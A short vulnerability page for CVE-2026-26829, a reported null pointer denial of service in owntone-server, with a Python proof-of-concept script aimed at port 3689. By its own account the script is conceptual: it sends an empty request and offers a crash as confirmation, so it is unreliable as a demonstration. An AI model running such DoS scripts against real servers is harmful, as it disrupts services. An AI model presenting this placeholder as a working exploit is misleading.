CVE-2026-26829 owntone-server空指针解引用DoS漏洞

import requests def trigger_poc(url): """ PoC for CVE-2026-26829: NULL pointer dereference in safe_atou64 Sending crafted HTTP requests to trigger DoS. """ try: # Attempt to send a request that might trigger parsing issues in safe_atou64 # This is a conceptual PoC based on the description. payload = {} headers = {'User-Agent': 'CVE-2026-26829-Test'} # Example endpoint that might process numeric input via safe_atou64 # Adjust the endpoint based on actual API implementation response = requests.get(url, params=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("If the server crashes, the vulnerability is confirmed.") except Exception as e: print(f"Request failed or server went down: {e}") if __name__ == "__main__": target_url = "http://localhost:3689" # Default port for owntone trigger_poc(target_url)